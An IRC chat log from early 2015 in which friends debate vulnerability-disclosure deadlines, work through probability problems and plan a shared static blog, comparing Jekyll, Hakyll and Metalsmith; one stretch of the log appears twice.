[2015-02-01T14:29:08-0500] <+JacobEdelman> correct, but thats not googles problem
[2015-02-01T14:29:13-0500] <@awe> Google does it, too.
[2015-02-01T14:29:17-0500] <jwoglom> "Do you want to come over to my place and feed your beaver some wood?" -- awebot
[2015-02-01T14:29:21-0500] <jwoglom> how bout no
[2015-02-01T14:29:28-0500] <@awe> That's why none of the companies, Goolge included, tend to fix issues within the 90-day time.
[2015-02-01T14:29:36-0500] <@awe> I mean, they do patch some of them.
[2015-02-01T14:29:42-0500] <@awe> But when they get a big batch all at once?
[2015-02-01T14:29:42-0500] <+JacobEdelman> jwoglom: awebot has a feature to send lewd messages randomly
[2015-02-01T14:29:44-0500] <@awe> That doesn't ahppen.
[2015-02-01T14:29:53-0500] <jwoglom> JacobEdelman: yeah i've noticed
[2015-02-01T14:30:00-0500] <+JacobEdelman> awe: well, thats there fault
[2015-02-01T14:30:03-0500] <jwoglom> first time it's happened to me though
[2015-02-01T14:30:03-0500] <@awe> ...
[2015-02-01T14:30:05-0500] <+JacobEdelman> awe: its a preventable issue
[2015-02-01T14:30:10-0500] <@awe> It's the fault of corporate organization.
[2015-02-01T14:30:15-0500] <Hyper> awe: companies like this have an internal security team to deal with exactly these issues
[2015-02-01T14:30:15-0500] <+JacobEdelman> eh, true
[2015-02-01T14:30:19-0500] <@awe> It's not really preventable because they can't change their corporate structure.
[2015-02-01T14:30:19-0500] <+JacobEdelman> but they can fix it if they want
[2015-02-01T14:30:28-0500] <+JacobEdelman> awe: yes they can
[2015-02-01T14:30:29-0500] <@awe> Hyper: and those teams have managers who they have to answer to.
[2015-02-01T14:30:34-0500] <@awe> JacobEdelman: no, they can't. 
[2015-02-01T14:30:36-0500] <Hyper> like if they're not doing their job you can't blame the one who reports the issue
[2015-02-01T14:30:39-0500] <@awe> JacobEdelman: they're owned by investors.
[2015-02-01T14:30:41-0500] <+hardmath123> http://googleprojectzero.blogspot.com/2014/07/pwn4fun-spring-2014-safari-part-i_24.html
[2015-02-01T14:30:43-0500] <+hardmath123> Man
[2015-02-01T14:30:43-0500] <@awe> JacobEdelman: the investors don't like big changes.
[2015-02-01T14:30:53-0500] <+JacobEdelman> awe: so companies which don't adapt die off, what do I care?
[2015-02-01T14:30:57-0500] <@awe> ...
[2015-02-01T14:31:00-0500] <@awe> They won't die off.
[2015-02-01T14:31:02-0500] <+JacobEdelman> investors will learn eventually
[2015-02-01T14:31:05-0500] <@awe> No, they won't.
[2015-02-01T14:31:06-0500] <+JacobEdelman> awe: it'll hurt them
[2015-02-01T14:31:14-0500] <Hyper> 3 months is sufficient advance notice.
[2015-02-01T14:31:15-0500] <@awe> Investors care about making money, and big changes are terrifying to people who are stably making money.
[2015-02-01T14:31:32-0500] <@awe> Hyper: except for the fact that we can see that it's obviously not enough for *any* of the major companies who it affects.
[2015-02-01T14:31:37-0500] <+JacobEdelman> awe: well, they will start to care if they are stabily loosing money
[2015-02-01T14:31:44-0500] <@awe> JacobEdelman: but they're not.
[2015-02-01T14:31:50-0500] <Hyper> these aren't exactly major changes
[2015-02-01T14:31:55-0500] <+JacobEdelman> (I feel weird arguing the "market forces" and "survival of the fittest company" point of view)
[2015-02-01T14:31:58-0500] <Hyper> "Security updates" are released all the time
[2015-02-01T14:32:01-0500] <@awe> Hyper: re-organizing your corporate structure is a huge change. 
[2015-02-01T14:32:05-0500] <@awe> Hyper: not the security updates.
[2015-02-01T14:40:13-0500] <+JacobEdelman> alokpathy: the ice and sleet is perfectly timed for the start of school
[2015-02-01T14:40:20-0500] <+JacobEdelman> if theres enough it will probaly be canceled
[2015-02-01T14:43:19-0500] <@awe> Suppose A and B are disjoint and P(A) = 0.2 and P(B) = 0.5.  What is the value of P(Ac ∩ Bc)?
[2015-02-01T14:43:22-0500] <@awe> Hm, this one is tricky.
[2015-02-01T14:43:31-0500] <@awe> Or at least more so than everything else.
[2015-02-01T14:46:33-0500] <@awe> Oh, no, I got it.
[2015-02-01T14:46:38-0500] <+hardmath123> What's Ac?
[2015-02-01T14:46:49-0500] <@awe> Ac and Bc are the complements of A and B.
[2015-02-01T14:46:56-0500] <@awe> It's just 1 - P(A) - P(B)
[2015-02-01T14:47:10-0500] <@awe> Drawing circles really helps with this sort of stuff.
[2015-02-01T14:47:46-0500] <+hardmath123> Yes.
[2015-02-01T14:48:39-0500] <+hardmath123> Wait
[2015-02-01T14:48:47-0500] <@awe> ?
[2015-02-01T14:48:59-0500] <+hardmath123> isn't it (1-P(A))(1-P(B)), then?
[2015-02-01T14:49:04-0500] <@awe> N.
[2015-02-01T14:49:04-0500] <+hardmath123> Or am I being stupid?
[2015-02-01T14:49:19-0500] <@awe> The overlap of Ac and Bc is all the things in the sample space that are neither in A nor B.
[2015-02-01T14:49:38-0500] <@awe> So, it's the probability of the sample space (1) minus the probability of A and B.
[2015-02-01T14:49:59-0500] <+hardmath123> right
[2015-02-01T14:50:02-0500] <+hardmath123> idk what i was thinking
[2015-02-01T14:51:29-0500] <@awe> Let A and B be two events and suppose that P(B)>0. Select which of the following statements is true.
[2015-02-01T14:51:29-0500] <@awe> Select one:
[2015-02-01T14:51:29-0500] <@awe> a. P(A | B) is always at least P(A ∩ B)
[2015-02-01T14:51:29-0500] <@awe> b. P(A | B) is always equal to P(A ∩ B)
[2015-02-01T14:51:29-0500] <@awe> c. P(A ∩ B) is always at least P(A | B)
[2015-02-01T14:51:34-0500] <@awe> I cannot grok this.
[2015-02-01T14:51:52-0500] <@awe> Actually, I'm just trying to find something in the book right now that'll point this out.
[2015-02-01T14:52:20-0500] <@awe> P(A ∩ B) = P(A)P(B | A)
[2015-02-01T14:52:38-0500] <@awe> P(A | B) = P(A)P(B | A)/P(B)
[2015-02-01T14:53:07-0500] <@awe> So, P(A ∩ B) = P(A | B)P(B)
[2015-02-01T14:53:36-0500] <@awe> So, b is false.
[2015-02-01T14:53:59-0500] <@awe> Since P(B) is on the interval (0, 1]
[2015-02-01T14:54:23-0500] <@awe> P(A ∩ B) is always greater than or equal to P(A | B)
[2015-02-01T14:54:27-0500] <@awe> Okay, so, c.
[2015-02-01T14:54:34-0500] <@awe> Nope.
[2015-02-01T14:54:44-0500] <@awe> Got that backwards.
[2015-02-01T14:54:45-0500] <@awe> Is A.
[2015-02-01T14:56:05-0500] <@awe> Yeah, it is the other way, (P | B) is always at least P(A ∩ B) because P(A | B) = P(A ∩ B)/P(B)
[2015-02-01T14:56:33-0500] <@awe> So, P(B) = 1 is where P(A | B) is at the minimum
[2015-02-01T14:56:53-0500] <@awe> Which would be where B is the sample space, which would mean that P(A | B) is just P(A) anyway.
[2015-02-01T14:56:57-0500] <@awe> Yeah, this makes sense.
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[2015-02-01T15:27:51-0500] <+JacobEdelman> bayes thm!
[2015-02-01T15:28:00-0500] <+JacobEdelman> bayes ftw!
[2015-02-01T15:28:21-0500] <+JacobEdelman> awe: you know bayes theorem?
[2015-02-01T15:28:48-0500] <+hardmath123> *Bayes'
[2015-02-01T15:34:33-0500] <@awe> Yeah.
[2015-02-01T15:34:39-0500] <@awe> I just used it, fool.
[2015-02-01T15:38:41-0500] <alokpathy> Did awe just talk to himself about probability? XD
[2015-02-01T15:38:58-0500] <alokpathy> Oh, wait, nevermind. hardmath123 was there.
[2015-02-01T15:40:30-0500] <@awe> :D
[2015-02-01T15:40:41-0500] <@awe> The second question, I talked through my reaosning here.
[2015-02-01T15:40:43-0500] <@awe> reasoning*
[2015-02-01T15:40:49-0500] <+hardmath123> I mean, I didn't read any of it.
[2015-02-01T15:40:51-0500] <+hardmath123> :P
[2015-02-01T15:44:10-0500] <+hardmath123> woo publishified
[2015-02-01T15:47:23-0500] <alokpathy> ?
[2015-02-01T15:53:28-0500] <+Tamini> yaay
[2015-02-01T15:53:30-0500] <+Tamini> link pls
[2015-02-01T15:53:39-0500] <alokpathy> Wait what
[2015-02-01T15:53:45-0500] <alokpathy> You wrote a paper?
[2015-02-01T15:53:49-0500] <+Tamini> blog article
[2015-02-01T15:53:50-0500] <+Tamini> i assume
[2015-02-01T15:55:01-0500] <alokpathy> Oh okay
[2015-02-01T15:55:19-0500] <+hardmath123> yeah
[2015-02-01T15:55:52-0500] <+hardmath123> lol i plotted word counts of each post on a histogram. it was pretty :D
[2015-02-01T15:57:15-0500] <+JacobEdelman> "JS hammers are actually disguised combined harvesters that accept callbacks."
[2015-02-01T15:57:23-0500] <+JacobEdelman> (from hardmaths post 2 days ago)
[2015-02-01T15:57:32-0500] <+JacobEdelman> hmmm... this reminds me of my idea to start a community blog
[2015-02-01T15:57:36-0500] <+JacobEdelman> I should do that some time
[2015-02-01T15:58:15-0500] <+hardmath123> JacobEdelman: s/2 days ago/20 minutes ago/
[2015-02-01T15:58:24-0500] <+JacobEdelman> really?
[2015-02-01T15:58:32-0500] <+JacobEdelman> it says january 31st I think
[2015-02-01T15:58:40-0500] <+JacobEdelman> oh wait, california weird?
[2015-02-01T15:59:11-0500] <+hardmath123> no i had it published yesterday, but only on my local machine
[2015-02-01T15:59:15-0500] <+JacobEdelman> ah, okay
[2015-02-01T15:59:16-0500] <+hardmath123> ok, fixed.
[2015-02-01T15:59:33-0500] <+hardmath123> i think
[2015-02-01T15:59:36-0500] <+JacobEdelman> hmmm...so, if I did start a community blog for pdgn people
[2015-02-01T15:59:43-0500] <+JacobEdelman> would you guys be interested in posting?
[2015-02-01T15:59:52-0500] <+JacobEdelman> (I thought it would be a good way to motivate us to post)
[2015-02-01T16:00:03-0500] <+hardmath123> oh, now actually fixed
[2015-02-01T16:00:05-0500] <+JacobEdelman> (since we would have a way of getting a small automatic audience of other pdgn people)
[2015-02-01T16:00:18-0500] <+JacobEdelman> hardmath123: yup, its fixed
[2015-02-01T16:00:28-0500] • hardmath123: is approaching 30,000 words.
[2015-02-01T16:00:40-0500] <+hardmath123> JacobEdelman: I'd be interested in reading what you folks write.
[2015-02-01T16:01:03-0500] <+JacobEdelman> hardmath123: would you be interested in helping make the site? I need somebody who's better at design than me too help
[2015-02-01T16:01:15-0500] <@awe> Lol.
[2015-02-01T16:01:19-0500] <+JacobEdelman> :P
[2015-02-01T16:01:26-0500] <+JacobEdelman> what, if I make it everybody will just yell at me
[2015-02-01T16:01:32-0500] <+hardmath123> I could just duplicated my blog's source.
[2015-02-01T16:01:36-0500] <+hardmath123> My blog supports multiple authors.
[2015-02-01T16:01:45-0500] <+JacobEdelman> oh, nice, that would definitely work
[2015-02-01T16:02:09-0500] <+hardmath123> Well, actually, there's a field for "author" but I forgot whether or not it's actually ever used. :P
[2015-02-01T16:02:14-0500] <+JacobEdelman> hmmm... yeah, that with a few small changes (authors listed on the front page next to their article)
[2015-02-01T16:02:16-0500] <+hardmath123> but it's an easy fix if it isn't
[2015-02-01T16:02:24-0500] <+JacobEdelman> whats it written in?
[2015-02-01T16:02:27-0500] <+hardmath123> node
[2015-02-01T16:02:44-0500] <+hardmath123> posts are in markdown or html
[2015-02-01T16:02:51-0500] <+hardmath123> then a node program indexes and templates them
[2015-02-01T16:03:01-0500] <+JacobEdelman> ummm... all articles are in the root folder?
[2015-02-01T16:03:10-0500] <+hardmath123> the final generated html, yes.
[2015-02-01T16:03:10-0500] <+JacobEdelman> this needs improving
[2015-02-01T16:03:20-0500] <+hardmath123> the sources in markdown or html live in /content/
[2015-02-01T16:03:26-0500] <+hardmath123> drafts live in /drafts/, which is .gitignored
[2015-02-01T16:03:45-0500] <+JacobEdelman> hmmm... thats better
[2015-02-01T16:03:48-0500] <+hardmath123> they have to live in the root dir. it's meant to be a static site.
[2015-02-01T16:04:13-0500] <+JacobEdelman> forking now
[2015-02-01T16:04:23-0500] <@awe> ..
[2015-02-01T16:04:26-0500] <+JacobEdelman> hardmath123: eh, I guess thats okaty
[2015-02-01T16:04:28-0500] <+JacobEdelman> *okay
[2015-02-01T16:04:28-0500] <@awe> Why not use hakyll or something?.
[2015-02-01T16:04:35-0500] <+JacobEdelman> cause, fun
[2015-02-01T16:04:51-0500] <@awe> It's not more fun to use something less feature complete.
[2015-02-01T16:06:05-0500] <+hardmath123> It works for me.
[2015-02-01T16:06:29-0500] <+hardmath123> Also, Jacob, that's not how github-pages works.
[2015-02-01T16:06:30-0500] <@awe> But there's no reason for him to use it.
[2015-02-01T16:06:41-0500] <+hardmath123> https://github.com/JacobEdelman/pdgn-blog.github.io does not create http://pdgn-blog.github.io
[2015-02-01T16:06:48-0500] <+JacobEdelman> if we can build ohttp://hardmath123.github.io/bower-unlimited-bower.html
[2015-02-01T16:06:52-0500] <+JacobEdelman> oh wait
[2015-02-01T16:06:53-0500] <+JacobEdelman> typo
[2015-02-01T16:07:03-0500] <+JacobEdelman> http://hardmath123.github.io/bower-unlimited-bower.html is my answer to awe's criticism
[2015-02-01T16:07:08-0500] <+hardmath123> you want to create a new "organization"
[2015-02-01T16:07:17-0500] <+hardmath123> JacobEdelman: ummm but it supports awe?
[2015-02-01T16:07:21-0500] <+JacobEdelman> uhg, I did this in the past, I don't like doing it again
[2015-02-01T16:07:29-0500] <+JacobEdelman> wait, what?
[2015-02-01T16:07:31-0500] <+hardmath123> JacobEdelman: or host it on backtick/pdgnco.
[2015-02-01T16:08:02-0500] <+JacobEdelman> ah, thats a possibility, but I like the github idea
[2015-02-01T16:08:08-0500] <+JacobEdelman> it only needs to be static
[2015-02-01T16:08:20-0500] <+hardmath123> then you need to make an organization
[2015-02-01T16:08:42-0500] <+hardmath123> nobody's going to like posting to a blog that lives at http://jacobedelman.github.io/pdgn-glob.github.io/
[2015-02-01T16:08:44-0500] <+hardmath123> i proise
[2015-02-01T16:08:49-0500] <+JacobEdelman> oh, wait
[2015-02-01T16:08:52-0500] <+JacobEdelman> hmm... 
[2015-02-01T16:08:54-0500] <@awe> Lol.
[2015-02-01T16:08:55-0500] <+JacobEdelman> I have other domains
[2015-02-01T16:08:57-0500] <+JacobEdelman> but yeah
[2015-02-01T16:08:59-0500] <+JacobEdelman> thats true
[2015-02-01T16:09:01-0500] <+JacobEdelman> I'm a dumb
[2015-02-01T16:09:03-0500] <@awe> I can do blog.pdgn.co
[2015-02-01T16:09:12-0500] <+JacobEdelman> yeah, I'll rename the repository
[2015-02-01T16:10:00-0500] <@awe> I'll make a PdgnCo organization on GitHub.
[2015-02-01T16:10:06-0500] <+JacobEdelman> oh, okay
[2015-02-01T16:10:11-0500] <+JacobEdelman> you can just make "pdgn"
[2015-02-01T16:10:13-0500] <+JacobEdelman> its availible
[2015-02-01T16:10:51-0500] <@awe> I invited both of you to the organization.
[2015-02-01T16:11:06-0500] <+JacobEdelman> okay
[2015-02-01T16:11:10-0500] <@awe> https://github.com/Pdgn/blog
[2015-02-01T16:11:13-0500] <@awe> That's where the blog will live.
[2015-02-01T16:12:14-0500] <+JacobEdelman> wait
[2015-02-01T16:12:22-0500] <+JacobEdelman> shouldn't we be forking hardmaths blog?
[2015-02-01T16:12:32-0500] <+JacobEdelman> not making a whole new repository?
[2015-02-01T16:13:36-0500] <+JacobEdelman> awe
[2015-02-01T16:13:45-0500] <+JacobEdelman> ^
[2015-02-01T16:17:05-0500] <+JacobEdelman> onion news quote on controvesioal super bowl ads: "GoDaddy.com: Critics of the web hosting company said it went too far with a 2011 ad featuring Danica Patrick explaining how to set up an SQL server using its storage systems"
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[2015-02-01T16:26:53-0500] <@awe> No.
[2015-02-01T16:26:58-0500] <@awe> Use Hakyll.
[2015-02-01T16:29:04-0500] <@awe> And either way, you can't use GH Pages with forked repos.
[2015-02-01T16:30:45-0500] <+hardmath123> awe: wait, how will that work?
[2015-02-01T16:31:11-0500] <@awe> How will what work?
[2015-02-01T16:31:39-0500] <+hardmath123> /Pdgn/blog
[2015-02-01T16:31:47-0500] <+hardmath123> don't you want /Pdgn/Pdgn.github.io?
[2015-02-01T16:31:52-0500] <@awe> No?
[2015-02-01T16:32:51-0500] <+hardmath123> But then how do you get Github to assign a name to it?
[2015-02-01T16:33:05-0500] <+hardmath123> (You can't point a domain to pdgn.github.io/Pdgn!)
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[2015-02-01T16:34:23-0500] <+JacobEdelman> wait, you can I think.... actually I have no idea
[2015-02-01T16:35:05-0500] <+hardmath123> whatever
[2015-02-01T16:35:09-0500] <+hardmath123> awe will figure it out
[2015-02-01T16:35:10-0500] <+hardmath123> :P
[2015-02-01T16:35:46-0500] <+JacobEdelman> awe: I'm not gonna use hakyll cause I can't understand the source at all
[2015-02-01T16:35:59-0500] <+JacobEdelman> If you really want me to use a templater/ framework or whatever I guess
[2015-02-01T16:36:07-0500] <+JacobEdelman> I'll look around
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[2015-02-01T16:36:38-0500] <@awe> Jekyll?
[2015-02-01T16:37:44-0500] <@awe> hardmath123: You can.
[2015-02-01T16:37:59-0500] <@awe> https://github.com/aatxe/dc-anchor
[2015-02-01T16:38:04-0500] <@awe> deviant-core.net points to that.
[2015-02-01T16:38:10-0500] <@awe> >.>
[2015-02-01T16:39:46-0500] <@awe> It's almost like you guys think I don't have experience doing all of this.
[2015-02-01T16:39:51-0500] <+JacobEdelman> jekyll is a bit possibility
[2015-02-01T16:40:00-0500] <+JacobEdelman> awe: i have no idea whether you do or do not
[2015-02-01T16:40:03-0500] <@awe> Jekyll builds are automatic on GH.
[2015-02-01T16:41:23-0500] <+JacobEdelman> hmmm... although I do like the look of this http://www.metalsmith.io/
[2015-02-01T16:42:57-0500] <+JacobEdelman> metalsmith looks very nice
[2015-02-01T16:43:25-0500] <assface> yo mama looks very nice
[2015-02-01T16:44:23-0500] <+JacobEdelman> arseface: wait, is that an insult or a compliment
[2015-02-01T16:44:36-0500] <+JacobEdelman> awe, hardmath123: what do you think about metalsmith.io ?
[2015-02-01T16:44:39-0500] <@awe> No.
[2015-02-01T16:47:03-0500] <+hardmath123> JacobEdelman: No.
[2015-02-01T16:47:09-0500] <+JacobEdelman> why not?
[2015-02-01T16:47:11-0500] <+JacobEdelman> it looks pretty
[2015-02-01T16:47:14-0500] <+JacobEdelman> and easy to mod
[2015-02-01T16:47:26-0500] <@awe> It's not a static site generator.
[2015-02-01T16:47:28-0500] <+hardmath123> I know, I spent a long time deciding which CMS to use.
[2015-02-01T16:47:33-0500] <+hardmath123> That too.
[2015-02-01T16:47:34-0500] <@awe> Oh, wait, it actually is.
[2015-02-01T16:47:42-0500] <@awe> Yeah, it writes the output.
[2015-02-01T16:47:45-0500] <@awe> For a second, I thought it hosted.
[2015-02-01T16:47:50-0500] <+hardmath123> Except, it actually is.
[2015-02-01T16:47:59-0500] <+hardmath123> It's node that generates stuff.
[2015-02-01T16:48:06-0500] <@awe> Oh?
[2015-02-01T16:48:09-0500] <+JacobEdelman> its static
[2015-02-01T16:48:11-0500] <+hardmath123> Like shock, except nodeyer.
[2015-02-01T16:48:12-0500] <+JacobEdelman> and generates
[2015-02-01T16:48:16-0500] <+JacobEdelman> by the look of it
[2015-02-01T16:48:31-0500] <+JacobEdelman> hardmath123: why don't you like it?
[2015-02-01T16:48:42-0500] <+JacobEdelman> awe: why don't you like it?
[2015-02-01T16:49:09-0500] <+JacobEdelman> I mean, stuff like this
[2015-02-01T16:49:10-0500] <+JacobEdelman> https://github.com/wilsaj/metalsmith-each
[2015-02-01T16:49:11-0500] <+JacobEdelman> is nice
[2015-02-01T16:50:20-0500] <+JacobEdelman> I mean, it can do this: https://github.com/wilsaj/metalsmith-each
[2015-02-01T16:50:23-0500] <+JacobEdelman> oh wait
[2015-02-01T16:50:25-0500] <+JacobEdelman> wrong link
[2015-02-01T16:50:37-0500] <+JacobEdelman> https://github.com/segmentio/metalsmith/tree/master/examples/jekyll is the right link
[2015-02-01T16:50:47-0500] <+JacobEdelman> so why use jekyll over it?
[2015-02-01T16:51:16-0500] <@awe> Because I don't care?
[2015-02-01T16:51:36-0500] <@awe> I don't need it to do any of that.
[2015-02-01T16:52:19-0500] <+JacobEdelman> wait, I'm gonna manage the website, and I'd like to have the option to do cool stuff, and besides that it seems really easy to use
[2015-02-01T16:52:57-0500] <+JacobEdelman> I mean, if I ever wanted to do something like, say, have the permalink of posts by blog.pdgn.co/author/post_title
[2015-02-01T16:53:01-0500] <+JacobEdelman> than I could do it easily
[2015-02-01T16:53:17-0500] <@awe> You're not managing a goddamn thing in my name.
[2015-02-01T16:53:25-0500] <+JacobEdelman> wait, its not in your name
[2015-02-01T16:53:27-0500] <@awe> Yes.
[2015-02-01T16:53:27-0500] <@awe> It is.
[2015-02-01T16:53:33-0500] <+JacobEdelman> I said I wanted to make a blog for pdgn
[2015-02-01T16:53:40-0500] <+JacobEdelman> *for people on pdgn
[2015-02-01T16:53:46-0500] <@awe> If you want it to be blog.pdgn.co, it's in my name.
[2015-02-01T16:53:47-0500] <+JacobEdelman> it doesn't have to be directly associated with pdgn
[2015-02-01T16:53:53-0500] <+JacobEdelman> .... that was your idea
[2015-02-01T16:54:00-0500] <+JacobEdelman> I offred to run it, do you want me to run it?
[2015-02-01T16:54:01-0500] <@awe> Because you said you wanted a blog for pdgn.
[2015-02-01T16:54:06-0500] <+JacobEdelman> ummm...
[2015-02-01T16:54:09-0500] <@awe> You don't need to run anything with a static site generator.
[2015-02-01T16:54:11-0500] <@awe> That's the point.
[2015-02-01T16:54:24-0500] <+JacobEdelman> fine, than do you just want to set it up?
[2015-02-01T16:54:36-0500] <@awe> You can, if you want. I can do it, if you want.
[2015-02-01T16:54:50-0500] <+JacobEdelman> .... so if I want to do it with metalsmith I can?
[2015-02-01T16:54:53-0500] <@awe> No.
[2015-02-01T16:54:58-0500] <+JacobEdelman> .... why not?
[2015-02-01T16:55:05-0500] <@awe> Because neither hardmath123 nor I want tha.t
[2015-02-01T16:55:14-0500] <+JacobEdelman> wait, I'm fine if you guys don't think its a good idea
[2015-02-01T16:55:24-0500] <+JacobEdelman> but so far your only reason is "Because I don't care?"
[2015-02-01T16:55:49-0500] <+JacobEdelman> I havn't heard hardmath123s reasons yet
[2015-02-01T16:55:57-0500] <+JacobEdelman> if you guys have reasons, I'm fine with doing something else
[2015-02-01T16:56:29-0500] <@awe> No, I don't care if it can emulate jekyll.
[2015-02-01T16:56:34-0500] <@awe> The reason to use jekyll isn't the structure.
[2015-02-01T16:56:38-0500] <@awe> It's the fact that GH automatically builds jekyll sites.
[2015-02-01T16:56:46-0500] <+hardmath123> (1) I live in constant terror of anything written in coffeescript.
[2015-02-01T16:57:10-0500] <@awe> I also don't want to touch software I've never heard of when I know for a fact that the ones I have heard of do everything we need.
[2015-02-01T16:57:20-0500] <+hardmath123> (2) I don't trust metalsmith to live forever. I don't expect it to, either. That means I doubt minor bugs will get fixed, even if we make noise.
[2015-02-01T16:57:27-0500] <+JacobEdelman> fine, I wanted to do a coding project to have fun with
[2015-02-01T16:57:43-0500] <+JacobEdelman> but if you just want to set up a blog, than you can do that
[2015-02-01T16:57:47-0500] <+JacobEdelman> I'll post on it and such
[2015-02-01T16:58:23-0500] <@awe> That's not a coding project.
[2015-02-01T16:58:35-0500] <+JacobEdelman> it could be, if I did cool stuff, but fine, just set it up
[2015-02-01T16:58:36-0500] <@awe> The build scripts for metalsmith are like three lines, JacobEdelman.
[2015-02-01T16:58:40-0500] <@awe> You can't do "cool stuff"
[2015-02-01T16:58:43-0500] <@awe> There's nothing cool to be done.
[2015-02-01T16:58:47-0500] <+JacobEdelman> hmmm... I don't know
[2015-02-01T16:58:51-0500] <+JacobEdelman> I guess you're right
[2015-02-01T16:58:58-0500] <@awe> You're just serving rendered MD pages.
[2015-02-01T16:59:04-0500] <@awe> I don't know what you *want* to be cool.
[2015-02-01T16:59:08-0500] <+hardmath123> I mean, I'll grant that some of it looks tempting. But it's overkill because we won't actually use those features.
[2015-02-01T16:59:13-0500] <+JacobEdelman> ^
[2015-02-01T16:59:42-0500] <+hardmath123> And the cool parts can all be implemented on your own.
[2015-02-01T16:59:51-0500] <+JacobEdelman> true
[2015-02-01T16:59:56-0500] <+JacobEdelman> so, awe if you set the basic stuff up
[2015-02-01T17:00:00-0500] <+JacobEdelman> I'll write posts and such
[2015-02-01T17:00:05-0500] <+JacobEdelman> and maybe advertise it :P
[2015-02-01T17:00:55-0500] <+hardmath123> :P
[2015-02-01T17:01:10-0500] <+hardmath123> so you aren't using shock? (do I have to go add multiuser support or not?)
[2015-02-01T17:02:30-0500] <@awe> What cool parts?
[2015-02-01T17:02:34-0500] <+JacobEdelman> we're using jekyll I think
[2015-02-01T17:02:36-0500] <@awe> Seriously, it's a bunch of static pages.
[2015-02-01T17:03:10-0500] <+hardmath123> awe: i was momentarily excited by the prospect of getting pdf's of all my posts. then i realized that's trivial to do anyway.
[2015-02-01T17:04:11-0500] <@awe> Lol, yup.
[2015-02-01T17:08:05-0500] <+JacobEdelman> ah, its still fun, I mean, I could make all attachments that are text documents automatically converted to pdfs
[2015-02-01T17:08:19-0500] <+JacobEdelman> and all image attachments (local assets) converted to ascii art!
[2015-02-01T17:08:29-0500] <+JacobEdelman> think of the possobilities :P
[2015-02-01T17:08:56-0500] <@awe> What attachments?
[2015-02-01T17:09:37-0500] <+hardmath123> he means images included in a post with <img src=...>
[2015-02-01T17:10:13-0500] <@awe> That's so dumb.
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[2015-02-01T16:54:09-0500] <@awe> You don't need to run anything with a static site generator.
[2015-02-01T16:54:11-0500] <@awe> That's the point.
[2015-02-01T16:54:24-0500] <+JacobEdelman> fine, than do you just want to set it up?
[2015-02-01T16:54:36-0500] <@awe> You can, if you want. I can do it, if you want.
[2015-02-01T16:54:50-0500] <+JacobEdelman> .... so if I want to do it with metalsmith I can?
[2015-02-01T16:54:53-0500] <@awe> No.
[2015-02-01T16:54:58-0500] <+JacobEdelman> .... why not?
[2015-02-01T16:55:05-0500] <@awe> Because neither hardmath123 nor I want tha.t
[2015-02-01T16:55:14-0500] <+JacobEdelman> wait, I'm fine if you guys don't think its a good idea
[2015-02-01T16:55:24-0500] <+JacobEdelman> but so far your only reason is "Because I don't care?"
[2015-02-01T16:55:49-0500] <+JacobEdelman> I havn't heard hardmath123s reasons yet
[2015-02-01T16:55:57-0500] <+JacobEdelman> if you guys have reasons, I'm fine with doing something else
[2015-02-01T16:56:29-0500] <@awe> No, I don't care if it can emulate jekyll.
[2015-02-01T16:56:34-0500] <@awe> The reason to use jekyll isn't the structure.
[2015-02-01T16:56:38-0500] <@awe> It's the fact that GH automatically builds jekyll sites.
[2015-02-01T16:56:46-0500] <+hardmath123> (1) I live in constant terror of anything written in coffeescript.
[2015-02-01T16:57:10-0500] <@awe> I also don't want to touch software I've never heard of when I know for a fact that the ones I have heard of do everything we need.
[2015-02-01T16:57:20-0500] <+hardmath123> (2) I don't trust metalsmith to live forever. I don't expect it to, either. That means I doubt minor bugs will get fixed, even if we make noise.
[2015-02-01T16:57:27-0500] <+JacobEdelman> fine, I wanted to do a coding project to have fun with
[2015-02-01T16:57:43-0500] <+JacobEdelman> but if you just want to set up a blog, than you can do that
[2015-02-01T16:57:47-0500] <+JacobEdelman> I'll post on it and such
[2015-02-01T16:58:23-0500] <@awe> That's not a coding project.
[2015-02-01T16:58:35-0500] <+JacobEdelman> it could be, if I did cool stuff, but fine, just set it up
[2015-02-01T16:58:36-0500] <@awe> The build scripts for metalsmith are like three lines, JacobEdelman.
[2015-02-01T16:58:40-0500] <@awe> You can't do "cool stuff"
[2015-02-01T16:58:43-0500] <@awe> There's nothing cool to be done.
[2015-02-01T16:58:47-0500] <+JacobEdelman> hmmm... I don't know
[2015-02-01T16:58:51-0500] <+JacobEdelman> I guess you're right
[2015-02-01T16:58:58-0500] <@awe> You're just serving rendered MD pages.
[2015-02-01T16:59:04-0500] <@awe> I don't know what you *want* to be cool.
[2015-02-01T16:59:08-0500] <+hardmath123> I mean, I'll grant that some of it looks tempting. But it's overkill because we won't actually use those features.
[2015-02-01T16:59:13-0500] <+JacobEdelman> ^
[2015-02-01T16:59:42-0500] <+hardmath123> And the cool parts can all be implemented on your own.
[2015-02-01T16:59:51-0500] <+JacobEdelman> true
[2015-02-01T16:59:56-0500] <+JacobEdelman> so, awe if you set the basic stuff up
[2015-02-01T17:00:00-0500] <+JacobEdelman> I'll write posts and such
[2015-02-01T17:00:05-0500] <+JacobEdelman> and maybe advertise it :P
[2015-02-01T17:00:55-0500] <+hardmath123> :P
[2015-02-01T17:01:10-0500] <+hardmath123> so you aren't using shock? (do I have to go add multiuser support or not?)
[2015-02-01T17:02:30-0500] <@awe> What cool parts?
[2015-02-01T17:02:34-0500] <+JacobEdelman> we're using jekyll I think
[2015-02-01T17:02:36-0500] <@awe> Seriously, it's a bunch of static pages.
[2015-02-01T17:03:10-0500] <+hardmath123> awe: i was momentarily excited by the prospect of getting pdf's of all my posts. then i realized that's trivial to do anyway.
[2015-02-01T17:04:11-0500] <@awe> Lol, yup.
[2015-02-01T17:08:05-0500] <+JacobEdelman> ah, its still fun, I mean, I could make all attachments that are text documents automatically converted to pdfs
[2015-02-01T17:08:19-0500] <+JacobEdelman> and all image attachments (local assets) converted to ascii art!
[2015-02-01T17:08:29-0500] <+JacobEdelman> think of the possobilities :P
[2015-02-01T17:08:57-0500] <@awe> What attachments?
[2015-02-01T17:09:37-0500] <+hardmath123> he means images included in a post with <img src=...>
[2015-02-01T17:10:13-0500] <@awe> That's so dumb.
[2015-02-01T17:12:02-0500] Mode is +nst
[2015-02-01T17:16:42-0500] <ubuntor> sounds like an april fools feature
[2015-02-01T17:16:42-0500] <@awe> Someone has to design the website though.
[2015-02-01T17:17:08-0500] <@awe> Because I also need to work on moving aaronweiss.us to hakyll.
[2015-02-01T17:21:37-0500] <@awe> Do you guys think I should redesign aaronweiss.us or just static-ify the current site?
[2015-02-01T17:21:46-0500] <+hardmath123> Both.
[2015-02-01T17:21:53-0500] <+hardmath123> Static, and redesigned.
[2015-02-01T17:21:59-0500] <@awe> Wat?
[2015-02-01T17:22:06-0500] <@awe> Both options will be static.
